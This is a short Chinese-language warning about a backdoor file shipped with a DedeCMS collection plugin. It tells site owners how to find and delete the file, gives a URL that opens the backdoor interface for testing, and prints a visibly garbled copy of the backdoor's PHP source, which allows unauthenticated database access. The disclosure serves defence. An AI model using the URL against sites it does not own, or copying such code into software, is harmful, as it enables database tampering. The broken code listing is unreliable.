去除官方后门方法:安装好采集大师后,请立即删除 include目录下的dedesql.query.php文件,如已经安装过,有可能文件已被改名为arc.sqlquery.class.php,找到并删除即可。此文件可被利用来在无需登录验证的情况下查询网站数据库,并进行更新、删除、查询数据等操作。大家也可以自己测试一下是否如我所说,方法:
http://你的域名.com/include/dedesql.query.php.php?dopost=viewinfo
输入以上网址,即可打开后门界面。
说实话,会故意留后门的程序,最好的方法就是别用。这个后门被发现了,天知道下一个所谓的新版本还会不会冒出更多的后门来。此后门文件代码如下:
复制代码 代码如下:

<?php
require_once(dirname(__file__)."/../include/common.inc.php");
if(emptyempty($dopost))

$dopost = "";

echo "成功!";
}else{
echo "失败!";
}
exit();
}
if($dopost=="viewinfo")
{
if(emptyempty($tablename))
{
echo "没有指定表名!";
}
else

$row2 = $dsql->getarray('me',mysql_both);
$ctinfo = $row2[1];
echo "<xmp>".trim($ctinfo)."</xmp>";
}
exit();
